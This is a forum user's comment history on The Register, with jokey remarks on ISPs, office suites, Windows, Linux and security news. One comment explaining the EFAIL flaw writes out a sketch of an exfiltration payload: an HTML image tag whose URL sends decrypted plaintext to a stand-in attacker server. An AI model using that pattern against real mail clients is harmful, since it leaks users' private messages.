* Posts by Havin_it

1196 posts • joined 1 May 2008


TalkTalk returns to the email hall of shame as Pipex accounts throw weekend-long wobbly


Re: Venn Diagram Please

I bailed from Pipex when Tiscali got it, that was never going to go well. To... Demon! Who proceeded to be borged by THUS -> C&W -> Vodafone. The Demon branding was upheld for a while and only finally binned a couple of years ago. Voda have generally stayed out of my way, so I've stayed put. In the way of these things, though, I expect I'll be subscribed to Disney Broadband before long :/

Roses are red, this is sublime: We fed OpenAI's latest chat bot a classic Reg headline


The penguin and cat story

I teared up a bit, NGL. Shit can escalate so easily.

LibreOffice 6.2 is here: Running up a Tab at the NotebookBar? You can turn it all off if you want


Re: CSV compatibility

It really takes some next-level skillz to get CSV handling wrong. A format whose title is longer than its BN form (probably, haven't checked, don't write in).

Only plebs use Office 2019 over Office 365, says Microsoft's weird new ad campaign


Excel 2K had a better easter egg, tho'.


You could've probably run O97 under Wine (although in early days it did need a few DLLs pillaging from a Windows install).


Re: Office 365

LibreOffice needs to be restarted every other day

What did you do to deserve needing an office suite open at all times? My earnest sympathies.

Holy crappuccino. There's a latte trouble brewing... Bio-boffins reckon 60%+ of coffee species may be doomed


Are you sure you're telling us everything?



Re: Great solution to overpopulation!

>I predict that the remaining population levels will be equal to around 1850.

Blimey, that's only about a dozen people per country! We should probably huddle together a bit to facilitate dating, but where to pick?

Your mates vape. Your boss quit smoking. You promised to quit in 2019. But how will Big Tobacco give it up?


dude you just burned through this sites yearly allowance of capitals and quote marks for the year, wtf

OpenStack 2018: Mark Shuttleworth chats to The Reg about 10-year support plans, Linus Torvalds and Russian rockets



Mention a mighty beard in the teaser and no photo. I only clicked to see the beard. You hurt me, Reg.

Silent running: Computer sounds are so '90s



To my mind, however, Microsoft hit a high point for event audio with Windows 95. Subsequent releases of Windows have never reached such glorious levels of gratuitous audio; indeed, the startup and shutdown sounds these days are little more than clicks or bips.

How dare you overlook that Vista's "soundscapes" were imagineered by bleedin' Robert Fripp?

People gonna forget how rock'n'roll MICROS~1 used to be ;)

On the third day of Windows Microsoft gave to me: A file-munching run of DELTREE


Re: Not a good look here.

If you're on a multi-user machine, ensuring "your" stuff is insulated by the correct file permissions by default is valuable: I tried making a "personal" folder under C:\ (which last I looked is world-writeable by default - WTF?!) but ensuring the permissions were set to propagate properly was a screaming nightmare. Windows permissions editing ... shudder.

I stopped using [user]\Documents when ransomware became a thing, as this would likely be a default target. The weird symlinking shenanigans to which Documents and its ilk are subject make them problematic for doing backups as well.

As for AppData, I've never grokked the philosophical distinction between Local/LocalLow/Roaming, and it's pretty clear app devs don't either. I never know which one I'll find an app's settings in, let alone why. Some even use more than one of them(?)

At least the FOSS apps can be relied upon to ignore all of them and create a nice predictable [user]\.[appname] folder :)

Linux kernel's Torvalds: 'I am truly sorry' for my 'unprofessional' rants, I need a break to get help


Re: I blame the source code management...

As I recall, the main target of Linus's anger at the time was Andrew Tridgell, for coming out with the reverse-engineered BK client that provoked BK's owner to withdraw the free-beer client license for kernel devs. If git was named for any one person at that time it was probably Tridge.

However, the very swift appearance of git in the wake of BK's move did make me wonder whether Linus had already been working towards dumping BK for some time, having tacitly acknowledged the complaints from many around him about the risks of adopting it in the first place.


Re: For fucks sake

Nah. All the downvotes in the world don't tell the poster that throwing around homophobic slurs (thanks for the repro, @TonyJ) is not OK with the Reg. For a lot of such specimens it only emboldens them. Nuking their post (with presumably a ban-warning given behind the scenes) tells them they're in a place that won't stand for that shit.

Probably for the best: Apple makes sure eSIMs won't nuke the operators


Re: Yay!

Welp, at least they can't claim you're holding it wrong if you can't hold the bloody thing.

Hm, guess Trump won't be a fan either.

US govt concedes that you can indeed f**k Nazis online: Domain-name swear ban lifted



There are still limits, for heaven's sake.

Nokia reinstates 'hide the Notch' a day after 'Google required' feature kill


Top pic:

Why are all the actors in that Android pic Canadian?


Re: Can't make sense of this.

Snotch to the muthafuckin' notch, snoogans.

Raspberry Pi supremo Eben Upton talks to The Reg about Pi PoE woes



to the unhappy days of early-Noughties wifi adapter purchasing for Linux, where not just white-box jobs but most big brands were prone to having their innards completely re-jigged without so much as a telltale hardware rev to warn buyers of its now paperweight status. Traumatic.

@James Hughes 1 if you're still hanging around, is there any way to identify the faulty boards? Are any steps being taken to withdraw them from sales channels? (I don't remember seeing anything about this in the article, although that was a good 5 minutes ago now #NanaMoon)

Trainer regrets giving straight answer to staffer's odd question


Re: re. 'candour '

I think we all did, Frank. They did kind of telegraph it with the whole italic thing.


Re: Phones too

ProTip: It's actually quite easy to keep personal electronics in one piece if you can't afford to replace them.

‘Very fine people’ rename New York as ‘Jewtropolis’ on Snapchat, Zillow


Shouldn't it be "Newercastle" then?

Google Spectre whizz kicked out of Caesars, blocked from DEF CON over hack 'attack' tweet


Re: snowflake world a.k.a. SFW

Prefixing that comment with TL;DR was classic btw ;)

Activists hate them! One weird trick Facebook uses to fool people into accepting GDPR terms


How about this?

Maybe a GDPR maven can answer this.

Where would the law stand on FB (or whoever) charging money for non-slurped access? (This might or might not include also not getting served ads, or that could be an additional pricing tier.)

Asking for a FriendFace...

S/MIME artists: EFAIL email app flaws menace PGP-encrypted chats


Re: Wuh?

Someone (possibly here yesterday) explained it thus: The attacker sends a crafted message with three MIME parts to it:

Part 1 (HTML)

<img src="http://badguyserver.cock/readmyplaintext.php?plaintext=

Part 2 (PGP / S/MIME)

[Previously-intercepted encrypted message]

Part 2 (HTML)


The silly mail client then glues all three into a single HTML part for display, and if it's REALLY silly it also goes right ahead and fetches the image, which passes the plaintext to $badguyserver in the URL (or as many characters thereof as the system allows for a URL string).

Hope I have that right; for some reason I'm loath to grace the vanity vuln-site with a click.

Waymo van prang, self-driving cars still suck, AI research jobs, and more


Waymo van prang

...surely has to be the name of a Dutch hard-house DJ.

Press F to pay respects to the Windows 10 April Update casualties


Re: "Upgrading users should be able to ignore the viewer as before."

My phone's data connection goes through the cabinet as well? Damn. I should try to get them to route mine through the cabinet near my mum's place, I always get better speeds there.

And if the problem's in the cabinet, how much help is the Windows manual going to be?

Oracle demands dev tear down iOS app that has 'JavaScript' in its name


CoffeeScript is already a thing, IIRC.


Re: Easily solved

How about ACMEScript - close to its parent standard, and likely to come top in alphabetical lists. And you get a free anvil and some dynamite with it.

BT pushes ahead with plans to switch off telephone network


PCI DSS and POS card terminals

At the moment (as far as I understand it) there is a sizeable difference in the compliance burden for PCI DSS between credit-card terminals that connect via dialup vs over the internet. To wit, terminal on dialup = can just self-certify; terminal over IP = have to get whole network audited regularly.

Doesn't moving to VoIP mean then that every bugger'll have to get audits done? Or will the exemption apply to it as well? Penny-pinching minds demand to know.

OK, this time it's for real: The last available IPv4 address block has gone


Re: "Nobody uses it..."

>A pox on it. We need IPv7 - just add another octet at the start of IPv6..

Couldn't we add one onto IPv4 instead and keep the rest of it the same? Then the hard-won skills of a multitude of consumer grannies (and me) could be transferred and nobody has to play how-many-colons bingo with that ridiculously opaque address scheme. Worked pretty well when we needed more phone numbers, amirite?

Mozilla's opt-out Firefox DNS privacy test sparks, er, privacy outcry


Re: Making DNS communication more secure

You get a notification in Firefox whenever a page attempts to play audio, telling you to install pulseaudio. How did you miss that?

Space, the final blunt-tier: Binary system ejected huge 'spliff' asteroid, boffins reckon


That's as may be

But my inner Grammarnazi is getting (erroneously) #triggered every time I clap eyes on that leading apostrophe.

Techies building UK web smut age check tools: You'll get a spec next week


Re: There has to be a better way to ensure children can't access porn.

>Then you're starving the revolutionaries

And here I thought I'd heard every euphemism for wanking already...


Re: I'm assuming

Not on the router, but you can on your pc/slab/etc so what the router says is ignored by it.

It's Pi day: Care to stuff a brand new Raspberry one in your wallet?


Really? If anyone utters or interprets "to $date" as excluding $date, I judge them an utter ocean-going See You Next Tuesday.

And don't get me started on people who say "next Tuesday" when they mean THIS Tuesday (Tuesday of THIS week). Nurse, make it a large one please....


Re: Dates

If your email platform requires your input in order to sort by date, I'd find a better one.

Suspected drug dealer who refused to poo for 46 DAYS released... on bail


Re: A very old, similarly themed joke from my childhood

After such an interminable set-up, I really was expecting a funny punchline. I sort of feel as if I should be calling the OFT or the ASA or someone about this.

Huawei's Not Hot Dog is possibly the Worst Tech Promo Ever



...that cats are fair game to run over?

Developer recovered deleted data with his face – his Poker face


Not to dilute your point, but it's ln <target> <linkname> innit?

If this laptop is so portable, where's the keyboard, huh? HUH?


Re: Obligatory pedantic quibble...

No, you misunderstand. Norman was primarily the company cook, specialising in stir-frys.

Due to Oracle being Oracle, Eclipse holds poll to rename Java EE (No, it won't be Java McJava Face)


Jolly Enterprising Edutainment for Business

or JEEBus.

Lily Cole: You'd hate me more if Impossible.com were a success


Quaequam blag! That is a downright grexnix slur-by-association upon Betelgeusian immigrants the length of the land! I suggest a prompt retraction, lest a Rigellian Hot-Shot be delivered with little warning!

Jocks in shock as Irn-Bru set to slash sugar and girder content


Re: Lite Ally Bru

I suppose, but "Made in Scotland from poagled mountain-bike frames" doesn't quite have the same ring to it.

(Actually, now I've sung it out loud, I like it better!)


Re: I wonder what it will do to it`s (odd) use as a mixer?

Shame, you were doing so well up until then... </wtfdidijustread>

Bye bye MP3: You sucked the life out of music. But vinyl is just as warped


Re: On air compression

Wanted to mention you can also add ReplayGain tags (both track and album) to FLAC files, the command-line app "metaflac" can do it. My player supports it, but YMMV.

The loudness issue used to drive me mad on my phone, but after much study I managed to patch the old Android (ICS) Music app to support ReplayGain on MP3s.

Only problem was when Jelly Bean came along and I recompiled the app, it now has "gapless playback" (i.e. a slight crossfade/segue) which when fading from a song with lots of gain applied to one with none or negative gain, there tends to be a split-second burst of EXTREME LOUDNESS until the equalizer adjusts it to where it should be for the next track. I must try to fix this at some point but I fear by then the AOSP app will be abandonware :(

PC repair chap lets tech support scammer log on to his PC. His Linux PC


Re: Boobytrap a VM.

Mm, I wondered the same. Not sure the CMD shell can even do that on the host VM all that easily, let alone reaching back through the tubes and doing it to the VNC client's host machine.

Not to mention that if Hide Extensions is enabled (as has been default for quite some time), the mark might wonder why the file *has* a .TXT extension showing?

Now you could name it "Passwords.bat" but the icon would still be wrong. Worth a try would be creating the batchfile elsewhere and placing on the Desktop a shortcut to it, which IIRC you can change the icon of the shortcut.

But I'd still like that recipe for how this batchfile is pwning the intruder's machine. Still with us, OP?

Icon: closest available to "chinny reckon".


Re: ISP reports...

(in a couple case I even got a "recipient does not exist" response)

Now that *should* be enough to see action taken by their (the ISP's) TLD registry, as it violates RFCs, but I imagine for most of them this is equally fruitless.

What you can do however is report the offending IP (and in some cases the ISP's whole IP range if there is enough evidence of endemic misuse) to various spam blacklists (there are many). Then at least you're hopefully reducing the pain for others.

74 countries hit by NSA-powered WannaCrypt ransomware backdoor: Emergency fixes emitted by Microsoft for WinXP+


What the I don't even

I'm reading through the Cisco analysis as I speak, but I'm not yet seeing what's the excuse for being vulnerable to this.

Seems that it

(1) Spreads through unsecured SMB ports

Well what the fuck retard has their MSNet ports out there waving in the breeze of the general Internet in this day and age, FFS? I mean even MS don't sell you an OS any more that does such stupid things OOTB.

(2) Drops a binary, msseseccexxxesexypoo.exe (or something)...

Well how does it drop it and execute it without a by-your-leave? What browser/email client is allowing that to happen, because it doesn't magically happen without a parent vuln or colossally bad design decision to enable it.

I've only skimmed this info so far but please, someone, let me know if I can get this without having my SMB ports open to the WAN and/or ignoring some permutation of Windows/browser/emailer that won't shout at me "UR ABOUT TO RUN A PROGGY OFF TEH INTERNET IT MITE BE BAD ACTULY ITS PROLLY BAD Y/N" prior to executing a downloaded binary (which, Christ, Windows itself actually does a pretty good job of doing lately).

Just delete the internet – pr0n-blocking legislation receives Royal Assent


Re: Age verification

NGL, if they show me Ren & Stimpy I'll probably forget all about the porn objective.


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